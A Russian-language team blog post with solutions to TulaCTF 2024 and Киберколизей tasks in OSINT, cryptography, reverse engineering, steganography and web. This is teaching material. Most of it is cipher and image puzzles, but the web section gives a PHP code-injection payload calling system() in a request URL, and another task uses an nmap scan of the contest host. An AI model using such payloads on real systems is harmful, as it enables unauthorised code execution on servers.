TulaCTF2024 & Киберколизей
КапибарыОбщие впечатления: 🤩 TulaCTF - очень классное соревнование с кучей интересных задач. Больше всего понравился результат, 14-ые 🥳🏆 И приглашение в ФИНАЛ!
Киберколизей тоже прошел увлекательно 🤩, научились куче всего нового, но уже подустали и сил на него не хватило.
Оглавление:
Введение
Еще раз вспомним два "золотых" правила:
- Начинаем с самых легких задач
- Ищем подсказки от "оргов"
И в Колизее и в ТулеCTF очень много было хороших подсказок, на которые мы, правда, в силу неопытности не всегда обращали внимание 😢
Поэтому на этой неделе будем усиленно подтягивать свои знания и навыки 😁
Начнем с того, что добавим еще два правила:
3. Встретив что-то новое, не опускай руки, а ищи информацию. Интернет - это великая сила! 🤩
4. Заниматься нужно каждый день! Появилась минутка: поиграй, отдохни, появилась вторая - займись спортом, появилась третья - вперед, в бой! Мы на этой неделе обязательно домучаем обзор площадок, на которых можно потренироваться, ну а пока Добро пожаловать на лучшую в России.
OSINT
Трагедия (КК, 200)
Условие: в этом месте в 1983 году произошел ужасный случай, в котором был замешан актер. Укажите в качестве флага дату его рождения в формате CODEBY{YYYYMMDD}.

Решение: Сам парк был создан позднее трагедии и поиск по Боржоми не дал ничего. А вот связка "трагедия 1983 Грузия" навела на теракт в самолете в это время. Очень хорошая статья про эту историю. "Один из террористов, Герман Кобахидзе (жених), был актером и работал на студии «Грузия-фильм»". Ищем в гугле его дату рождения и вводим в качестве флага.
Флаг: CODEBY{19620726}
Задача про аэропорт (КК, 350, не решена)
Условие: Мой друг очень большой любитель аниме пропал в аэропорту Токио 17 января 2024 года. Если вы посмотрите куда он полетел, то сразу поймете почему. Через два часа он вернулся, но ничего не рассказал. В качестве ответа нужно ввести номер борта, на котором он отправился в полет. Формат флага: CODEBY{XX-XXX}.
Решение:
Отрабатывали версию о самолетах для любителей аниме. Как ни странно, таких - много 😁

Для поиска рейсов, которые сделал тот или иной самолет, есть куча хороших сервисов, например, самый известный - FlightRadar. Но он не очень для нас удобен в этой задаче, так как у него для даты "старше", чем 3 месяца требуется покупка Premium'а. И здесь первый вопрос, который у нас возник, 17 января то ли было выбрано как "очень особенный" день или просто, чтобы выйти за "бесплатную версию" FlightRadar'а.
Поиск в гугле по дате 17 января ничего, кроме истории, что рейс из Токио в Ситл вернулся потому что пассажир укусил проводника за руку не дал (но зомби это не аниме :)), бортовой номер к формату флага не подходит ни у одного, ни у другого самолета. Начали искать аналогичные флайтрадару сервисы. И нашли. И еще ряд интересных ресурсов:



Его знает каждый (TulaCTF, 100)
Условие задачи:

Решение задачи:
Скармливаем картинку сервису "поиск по изображениям" Яндекса вылетает много мусора, обрезаем ключевую часть - получаем страницу:

Переходим на Яндекс.Карты и определяем координаты.

К тому моменту организаторы уточнили, что вводить надо только 4 знака после запятой.
Флаг: TulaCTF{55.1654_61.4004}
Klasa_mistrzowska (TulaCTF, 100)
Условие задачи: Я где то был на мастерклассе и что то забыл, помогите найти телефон, в памяти осталась только фотка гостиницы

Решение: Поиск по картинке в яндексе ничего не дает, нужно искать через либо текстом, либо через гугл.картинки

Находим, что гостиница находится в г. Торун (Польша) на ул. Рабяньская и рядом находится музей торуньского пряника (прям как Тульского).

Вбиваем вместо флага номер телефона.
Флаг: TulaCTF{48422154242}
Реконструкция (TulaCTF, 271)
Условие задачи:
Церквушка на макушки земли Русской где годы и высота взяли свое
Промежуток лет и высота дадут ответ
Формат флага: TulaCTF{1234-1421-600.3}

Решение задачи:
Задача, направленная на поиск информации в сети. Ищем в гугле или яндексе строку: Церкви Тепло-Огаревский район. Нам подошел вот этот ресурс.

Дальше руками проверяем 10 храмов. Наиболее похожей оказалось церковь Богоявления Господня в селе Раево.

Переходим на Яндекс.Карты и в ее фотографиях находим фото таблички.

Флаг: TulaCTF{1864-1880-293.2}
Давным-давно (TulaCTF, 620}
Условие задачи:


Решение:
Первым шагом нужно было найти скважину на карте. Нужно было открыть карту побольше, тогда становится видно, что на ней есть реки Чирча и Тыяха. По их поиску место находится достаточно легко.

На второй фотке есть дорога, тундра, болота, забор и насыпан какой-то песок. Ключевой момент, что это какая-то закрытая территория. Можно предположить, что как раз вот какой-то из этих двух тупиков.

Затем мы перешли к единому фонду геологической информации. Затем переключаемся на режим карты и ищем похожее место. Очень быстро находится Южно-Надымская, 2 поисковая скважина. Щелкаем по ней, выпадает куча документов.

Перейдя по ссылке, мы получаем кучу всей информации, но глубины в ней нет 😢 и вот третьем шагом нужно было найти ФГБУ ВНИГНИ.

или сразу перейдя по ссылке

в разделе "Информация по бурению" мы получили глубину скважины.

Флаг: TulaCTF{4082}
Я ваще (TulaCTF, 676)
Условие задачи:


Решение:
На самом деле на картинке изображен не молот, а пешеход, да, по фантазии автора - это, именно, пешеход!
В метаданных была соответствующая подсказка:

Смотрим еще раз на условие задачи и выбираем ключевые слова для поиска: Тула вывеска пешеход и должно появиться что-то вроде:

Есть и пост в ВК и статья, в которой можно было прочитать сообщение: Водитель и пешеход, будьте взаимно предупредительными.
Флаг: TulaCTF{предупредительными}.
Crypto
Простая задача (КК)
Условие задачи:
яблоко-.-. банан--- апельсин-.. виноград. ананас-... яблоко-.-- банан{ апельсин-.. виноград.---- ананас-.. яблоко..--.- банан-.-- апельсин----- виноград..- ананас..--.- яблоко.-. банан...-- апельсин-.-. виноград----- ананас--. яблоко-. банан.---- апельсин--.. виноград...-- ананас..--.- яблоко-- банан----- апельсин.-. виноград... ананас...-- яблоко..--.- банан-.-. апельсин----- виноград-.. ананас...-- яблоко..--.. банан}
Решение задачи:
Яблоки, бананы и т.д. здесь просто для отвлечения внимания, удаляем их при помощи "замены" в любом текстовом редакторе, остается вот такая строчка.
-.-. --- -.. . -... -.-- { -.. .---- -.. ..--.- -.-- ----- ..- ..--.- .-. ...-- -.-. ----- --. -. .---- --.. ...-- ..--.- -- ----- .-. ... ...-- ..--.- -.-. ----- -.. ...-- ..--.. }
Скармливаем транслятору Азбуки Морзе и получаем
Флаг: CODEBY{D1D_Y0U_R3C0GN1Z3_M0RS3_C0D3?}
Холмы (КК)
Условие задачи: файл

Решение:
Как говорится в подсказке - это шифр Хилла (ссылка 1, ссылка 2, ссылка 3).
Лучше всего расшифровывать онлайн декодером . Заполняем матрицу как в условии и получаем флаг.

Флаг: CODEBY{BTW_EXISTS_AN_INTERESTING_FILM_ABOUT_HILLS}
Misc
Странный код (КК, 350)
Условие: Архив с кодом, в котором крякозябры
Решение: По расширению файла, стилистики кода сразу становится ясно, что это питон 😁
kassth wmos dw z wptqfw fcgh64 eu p64 i = "u09gfxnbs000wp83crixznixznujurqqvt8zvn80l0patrq9" i = d64.p64giecgi(h).rhgqrh() g = "ecqktoww!\p" rhj r(h, g=0.2): jqf f mp h: svkbw(g, gbg='', jnivl=vfxi) z.goigd(g) t(e+s)
но какой-то странный, первые строчки в классической программе - это, как правило import. Меняются только буквы, а цифры нет. Причем в первый раз import это kassth, а во второй - wptqfw, в первый раз b64 это p64, а во второй d64, а в третий - f64. Натравливаем на этот код распознавалку от dcode и на определенной итерации он, наконец, выдает, что это шифр Вижинера (этот шаг всегда проверяйте руками, если видно, что есть соответствие буквы в букву, но каждый раз разное).
Натравливаем декодер Вижинера по известному слову import и получаем правильный код

и на ключе CODE получаем
import time as x import base64 as b64 f = "q09erujze000tl83adftxzftxzrfsdnmtf8wrl80x0mwrdn9" e = b64.b64decode(f).decode() c = "congrats!\n" def p(t, d=0.2): for c in t: print(c, end='', flush=true) x.sleep(d) p(c+e)
Довольные - запускаем полученный код в питоне и получаем ошибку декодировки base64. После небольшого анализа становится понятно почему
Регистр букв . qCode все преобразовывает в маленький, а это неправильно. Мы решили последовательным изменением регистров в "четверках" (BASE64 преобразовывает 4 символа исходного кода в три байта) так, чтобы получался красивый код. В итоге ключ оказался вот таким:
Q09ERUJZe000Tl83aDFTXzFTXzRfSDNMTF8wRl80X0MwRDN9
и программа нам выдала
Флаг: CODEBY{M4N_7h1S_1S_4_H3LL_0F_4_C0D3}
Земля Санникова (КК, 350)
Условие: Гулформа по адресу: https://docs.google.com/forms/d/e/1FAIpQLSf1TPaUeq68KoBjThBinu0u5FEosLq1llykroSbelbW7EuPpg/viewform

Решение: Честно говоря, не очень поняли почему такое за 350, начали с просмотра кода страницы и сразу бросилось в глаза внизу страницы.
FB_PUBLIC_LOAD_DATA_ = [null,[null,[[505817847,"Где расположена Земля Санникова?",null,0,[[945920828,null,1,null,[[2,101,["Unfortunately, it never existed. It's all the ice's fault :("],"67,79,68,69,66,89,123,108,52,115,116,95,113,117,51,115,116,49,111,110,95,119,52,115,95,104,52,99,107,101,100,125"]]]],null,null,null,null,[["1-o5is_3eBWg_JPcnc6k76SUayDVPLoedPHO_0VXiR_DPXhk",null,[676,547,0]]],null,[null,"\u003cb\u003eГде расположена Земля Санникова?\u003c/b\u003e"]]],null,null,[null,null,null,null,null,[null,null,null,[255,152,0,null,1],[255,219,166,null,1],null,[["Roboto",24,400,2],["Roboto",12,400,2],["Roboto",11,400,2]]]],null,null,null,"Контрольный вопрос",67,[null,null,null,2,null,null,1],null,null,null,null,[2],[[1,1,1,1,1],1,0,2,0],null,null,null,null,null,null,null,null,[null,"Контрольный вопрос"]],"/forms","Контрольный
Преобразование его в ASCII строку - дает нам
Флаг: CODEBY{l4st_qu3st1on_w4s_h4cked}
Дебри лабиринтов (TulaCTF, 100)
Условие задачи:

Решение:
По задумке авторов, такая задача и слово "кубы" должны были натолкнуть на игру Minecraft. Нужно было просканить порты и найти сервер Майнкрафта на сервере tulactf.ru.
nmap -sV tulactf.ru
он открыт на самом деле по умолчанию 25565.

Там было три лабиринта с разными ловушками.
Флаг: TulaCTF{cheel_and_relax_with_minecraft}
Reverse
Разминка (КК, 200)
Условие задачи: архив с файлами
Решение: Беглый взгляд на файлы показал, что они используют .Net Framework 4.8

Такие файлы лучше всего анализировать в dotPeek. Начнем с библиотеки
using System.IO;
using System.Security.Cryptography;
namespace EncryptionLibrary
{
public class EncryptionHelper
{
public static byte[] EncryptStringToBytes_Aes(string plainText, byte[] Key, byte[] IV)
{
byte[] array;
using (Aes aes = Aes.Create())
{
aes.Key = Key;
aes.IV = IV;
ICryptoTransform encryptor = aes.CreateEncryptor(aes.Key, aes.IV);
using (MemoryStream memoryStream = new MemoryStream())
{
using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, encryptor, CryptoStreamMode.Write))
{
using (StreamWriter streamWriter = new StreamWriter((Stream) cryptoStream))
streamWriter.Write(plainText);
array = memoryStream.ToArray();
}
}
}
return array;
}
}
}
в принципе, говорящее название функции и простой код сразу подсказывают, что здесь строчка шифруется AES'ом без всяких дополнительных хитростей.
идем в программу. Здесь byte[] a2 и кусок кода:
Console.Write("Введите пароль для шифрования: ");
if (Program.ByteArraysAreEqual (EncryptionHelper.EncryptStringToBytes_Aes( Console.ReadLine(), Encoding.UTF8.GetBytes("CODEBY__PASSWORD"), Encoding.UTF8.GetBytes("IV82941840912841")), a2))
Console.WriteLine("Размялся? А теперь серьёзные таски! :)");
else
Console.WriteLine("Попробуй ещё, ты точно справишься! UwU");
подсказывает, что флаг это массив a2, расшифрованный с помощью ключа "CODEBY__PASSWORD" и "IV82941840912841".
Наша задача по быстрому ее расшифровать, можно написать программу на любом языке, можно воспользоваться сервисом. Лучше всего, конечно, воспользоваться тем языком программирования и теми библиотеками, которые использовал автор задачи. У нас это C# (хорошая статья и вторая на эту тему).
public static string DecryptStringToBytes_Aes(byte[] plainText, byte[] Key, byte[] IV)
{
string array;
using (Aes aes = Aes.Create())
{
aes.Key = Key;
aes.IV = IV;
Byte[] outputBytes = plainText;
ICryptoTransform encryptor = aes.CreateDecryptor(aes.Key, aes.IV);
using (MemoryStream memoryStream = new MemoryStream(outputBytes))
{
using (CryptoStream cryptoStream = new CryptoStream((Stream)memoryStream, encryptor, CryptoStreamMode.Read))
{
using (StreamReader srDecrypt = new StreamReader(cryptoStream))
{
array = srDecrypt.ReadToEnd();
}
}
}
}
return array;
}
string ps = EncryptionLibrary.EncryptionHelper.DecryptStringToBytes_Aes(a2, Encoding.UTF8.GetBytes("CODEBY__PASSWORD"), Encoding.UTF8.GetBytes("IV82941840912841"));
но программа несложная, можно воспользоваться и Питоном (в сложных может быть путаница с внутренностями в библиотеками, разными форматами входных данных и т.д.). Статьи на будущее (1, )
from Crypto.Cipher import AES
code = [90,90,131,173,3,108,139,21,101,136,11,35,101,154,191,222,178,128,45,197,220,65,122,138,18,173,210,128,16,101,247,74]
key = 'CODEBY__PASSWORD'
iv = 'IV82941840912841'
key = bytes(key.encode('utf-8'))
iv = bytes(iv.encode('utf-8'))
def decrypt(encrypted,key,iv):
cipher = AES.new(key, AES.MODE_CBC, iv)
decryptedtext = cipher.decrypt(encrypted)
decryptedtextP = decryptedtext.rstrip(b'\01').decode("UTF-8") # remove the Zero padding
return decryptedtextP
print(decrypt(bytes(code),key,iv))
Запуск программы дает нам
Флаг: CODEBY{p@sSw0rd_1n_EXE_anD_DLL}
Зачем пароль на пароль (TulaCTF)
Решение:
Декомпилировали файлик, нашли, что это шрифт Винженера и дальше надо было найти ключевое слово для расшифровки. Подсказка, что флаг начинается на TulaCTF, ключевое слово было Pepelats.
class Program
{
static void Main(string[] args)
char pass = ' ';
string str = "";
for (int index = 0; index < "iAC4ntypSmIJ{JJLOH2Npr6wieoUv0*sad6S3(Mwa2V_j".Length; ++index)
{
// pass = 'Pepelats';
pass = ' ';
for (int q = 0; q < 50; q ++ )
{
str = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 !@#$%^&*(){}_"
[("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 !@#$%^&*(){}_".IndexOf
("pSmIJ{JJLOH2Npr6wieoUv0*sad6S3(Mwa2V_j"[index])
- "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 !@#$%^&*(){}_"
.IndexOf(pass) +
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 !@#$%^&*(){}_".Length) %
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 !@#$%^&*(){}_".Length].ToString();
if (str.StartsWith("{", StringComparison.CurrentCulture) == true)
str = str;
str = str;
pass = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 !@#$%^&*(){}_"[q];
}
}
}
}
}
Флаг: TulaCTF{DIr3k7or_1N7ERNETA_$KaZAL_R@StrELY4t}
Stegano
Omniscient (КК)
Условие задачи:

Решение задачи:
Использовать stegsolve или другие утилиты, которые раскладывают картинку на каналы, и в Alpha 1 - видно флаг.

Флаг: CODEBY{4nd_i_c4n_se3}
Letter (КК)
Условие задачи: Файл. Флаг должен быть в формате CODEBY{flag}.
Решение задачи: Беглый анализ файла показал, что некоторые буквы имеют отличный от остальных регистр.

Искать глазами маленькие буквы тяжело, можно скопировать все в блокнот и поменять местами регистр, так будет немного проще, а можно запустить небольшой скрипт (большие тексты в питоне помещаем в тройные кавычки):
otvet = ""
for i in tops:
if i >= 'a' and i <= 'z':
otvet += i
print("CODEBY{%s}" % otvet)
и получаем:
Флаг: CODEBY{steganocomesinmanyforms}
Neural network (КК)
Условие задачи:

Решение: Спасибо команде zer00d4y за их writeup!
В глаза бросается разный регистр букв в одном предложении.
In TexT steGaNograpHY, the SECRet MEsSage Is tYPiCallY emBdded bY making suBtIE MOdiFIcATioNs
Надо было поменять в нем маленькие буквы на A, а большие на B
BA BAAB AAABABAAAAABB AAA BBBBAA BBABAAA BA ABBABAAAB AABAAAA AB AAAAAA AABABB BBAABBABBAABA
и скормить dCode как шифр Бэкона (обязательно почитайте его историю, могут быть большие и маленькие буквы, курсив и жирные, и другие варианты). Натолкнуть на это должен был TheB.AI. Но мы не догадались 😁
Флаг: CODEBY{URIGHTITISBAC?NS}
Мой первый пряник (TulaCTF, 180)
Условие задачи:

Решение: stegoveritas, stegsolve, или любой сервис, которые может выделить 0 бит синего канала (blue_0).

Это азбука Морзе. Расшифровывали руками. Хорошего сервиса для этой цели не нашли :(
Флаг: TulaCTF{morsecodecandomusic}
Купили жамки, а они .... (TulaCTF, 350)
Условие задачи:

Решение: Лучше всего StegVeritas, он делает файлики, которые потом можно скормить другим сервисам, но подойдут и любые другие, которые раскидывают каналы по битам. У нас есть 7 QR-кодов.







Большинство сканеров требуют, чтобы им специально вырезали кусок и скормили, но это очень долго и нудно. Для нашей цели очень хорошо подошел сервис. Он нам дал кучу разных кусочков: A_KUP, VAATSAT, I_PYAT, ILA_J, _MAM, BEZ_D, AMKI

А вот потом надо было сложить это в единую фразу. Четкого алгоритма мы не нашли, складывали по интуиции :)
Флаг: TulaCTF{BEZ_DVAATSATI_PYAT_MAMA_KUPILA_JAMKI}
Nyan Cat 1 (TulaCTF, 424)
Условие задачи: эта картинка не просто картинка, а целый сундук с информацией.

Решение задачи: смотрим в exif, либо в exiftools, либо на сайте

Значение очень похоже на TulaCTF с наложенным шифром Цезаря. Переходим на dCode, пробуем шифр Цезаря и получаем флаг.

Флаг: TulaCTF{g00d_staRt}
Мой первый день (TulaCTF, 964)
Условие задачи: файл презентация с вирусом.
Решение задачи: нужно было добраться до кода макросов

там до кусочка сбора полезной нагрузки


и затем от команды взять md5
Флаг: TulaCTF{6981baa80ea61a7286ac65c46b6f7395}
Web
Old version
Условие задачи:
Решение: Спасибо команде zer00d4y за их writeup!
Если посмотреть ответ сервера на пустой запрос, то можно увидеть LFI ошибку

Чтобы ее эксплуатировать нужно в качестве параметра page передать следующую строку
' and die(system("cat index.php")) or '
то есть запрос будет выглядеть так (можно в браузере, а можно и Postman)
http://62.173.140.174:46005/index.php?page=' and die(system("cat index.php")) or '
Флаг: CODEBY{php_lf1_t0_rc3_d0ne}